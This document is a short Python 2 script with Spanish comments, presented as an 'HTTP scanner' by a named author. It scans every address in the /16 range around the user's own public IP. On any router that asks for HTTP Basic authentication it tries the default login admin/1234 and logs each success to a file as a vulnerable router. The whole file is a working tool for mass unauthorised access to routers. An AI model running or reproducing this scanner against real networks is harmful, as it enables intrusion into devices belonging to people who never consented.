'''
R.o.R. HTTP Scanner recontra Beta XD
by Carlos Ganoza a.k.a. Dr. Ne0x
cganoza@malwareint.com
todoporelvicio.com
'''
import urllib2,httplib 
from urllib2 import HTTPError, URLError
from httplib import  BadStatusLine, IncompleteRead
#coje la ip 
def ip_inicio():
 leerip=urllib2.urlopen("http://whatismyip.org/")
 ip=leerip.read()
 c=0
 rango=[]
 for i in ip:
	if c<2:
		rango.append(i)
		if i==".":
			c=c+1
                        ip="".join(rango)
                        if c==2:
                          return ip
 ip.close()

#funcion que guarda las ip correctas
def ipok(ok):
 ip=open("ip.txt","a")
 ip.write(ok+"\n")
 ip.close()
#funcion que comprueba disponibilidad de ip
def test(ip):
 try:
   test=urllib2.urlopen(ip, timeout=3)
   print "router con logeo diferente a HTTP simple"
   test.close()
 except HTTPError, e:
   print e.code
   #print titulo(ip)
   
   if e.code==401: #si solicita logeo HTTP simple
       
    try:  
     
   #logea
     a=urllib2.HTTPPasswordMgrWithDefaultRealm()
     user="admin"
     passw="1234"
     a.add_password(None, ip, user, passw)
     b=urllib2.HTTPBasicAuthHandler(a)
     opener=urllib2.build_opener(b)
     urllib2.install_opener(opener)
     f=urllib2.urlopen(ip)
     print "bingo  router vulnerable", ip
     #print e.read()
     ipok(ip)
    except HTTPError, e: # si no logra logarse se controla la exepcion
     print "no se pudo logear"
     print e.code
   else:
    print "error"
 except URLError, e:  
   e.reason
 except BadStatusLine, e:
   print "error desconocido"
 except IncompleteRead, e:
   print "error, dispositivo no disponible"
print "R.o.R. HTTP Scanner recontra Beta XD"
ip=ip_inicio()
#print ip
for i in range(1,255):
 for x in range(1,255):
  u="http://"+ip+str(x)+"."+str(i)
  print u
  test(u)



